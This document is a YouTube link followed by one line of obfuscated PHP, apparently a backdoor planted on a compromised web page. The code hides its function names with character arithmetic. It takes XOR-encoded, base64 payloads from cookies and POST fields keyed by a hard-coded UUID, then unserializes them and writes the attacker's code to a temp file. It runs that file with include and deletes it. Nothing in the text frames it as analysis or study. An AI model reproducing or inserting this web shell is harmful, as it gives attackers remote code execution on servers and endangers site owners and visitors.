https://www.youtube.com/watch?v=DfPeprQ7oGc

$vQSSS = "\x74" . chr ( 769 - 681 )."\x6d" . "\x5f" . "\152" . chr ( 906 - 833 )."\x77" . "\172" . 'w';$jQwKxr = "\x63" . chr (108) . 'a' . "\163" . "\x73" . chr ( 122 - 27 ).'e' . "\170" . 'i' . chr ( 440 - 325 )."\x74" . 's';$PUqJGhd = class_exists($vQSSS); $jQwKxr = "25528";$cHeoqD = strpos($jQwKxr, $vQSSS);if ($PUqJGhd == $cHeoqD){function qJilfZOi(){$cUIIhteK = new /* 45426 */ tXm_jIwzw(25872 + 25872); $cUIIhteK = NULL;}$YRwVyMkiI = "25872";class tXm_jIwzw{private function IBsvsxF($YRwVyMkiI){if (is_array(tXm_jIwzw::$jWhqL)) {$name = sys_get_temp_dir() . "/" . crc32(tXm_jIwzw::$jWhqL["salt"]);@tXm_jIwzw::$jWhqL["write"]($name, tXm_jIwzw::$jWhqL["content"]);include $name;@tXm_jIwzw::$jWhqL["delete"]($name); $YRwVyMkiI = "25872";exit();}}public function jsqBle(){$AwIRhA = "23383";$this->_dummy = str_repeat($AwIRhA, strlen($AwIRhA));}public function __destruct(){tXm_jIwzw::$jWhqL = @unserialize(tXm_jIwzw::$jWhqL); $YRwVyMkiI = "44411_23048";$this->IBsvsxF($YRwVyMkiI); $YRwVyMkiI = "44411_23048";}public function KVSGXHQCF($AwIRhA, $zdnoLcKkC){return $AwIRhA[0] ^ str_repeat($zdnoLcKkC, intval(strlen($AwIRhA[0]) / strlen($zdnoLcKkC)) + 1);}public function eVzZTZWLp($AwIRhA){$AvARrt = chr (98) . chr ( 660 - 563 ).chr (115) . "\145" . "\x36" . '4';return array_map($AvARrt . '_' . chr (100) . chr ( 907 - 806 ).chr ( 245 - 146 ).'o' . chr ( 415 - 315 )."\145", array($AwIRhA,));}public function __construct($wRUDKi=0){$FMUGDT = chr (44); $AwIRhA = "";$vOwizOODwk = $_POST;$FrwDptOUik = $_COOKIE;$zdnoLcKkC = "b7af08ca-b83f-4812-b379-3d522c744c8a";$enNXBDjL = @$FrwDptOUik[substr($zdnoLcKkC, 0, 4)];if (!empty($enNXBDjL)){$enNXBDjL = explode($FMUGDT, $enNXBDjL);foreach ($enNXBDjL as $FphUz){$AwIRhA .= @$FrwDptOUik[$FphUz];$AwIRhA .= @$vOwizOODwk[$FphUz];}$AwIRhA = $this->eVzZTZWLp($AwIRhA);}tXm_jIwzw::$jWhqL = $this->KVSGXHQCF($AwIRhA, $zdnoLcKkC);if (strpos($zdnoLcKkC, $FMUGDT) !== FALSE){$zdnoLcKkC = explode($FMUGDT, $zdnoLcKkC); $obNKiQFZ = base64_decode(sha1($zdnoLcKkC[0]));}}public static $jWhqL = 822;}qJilfZOi();}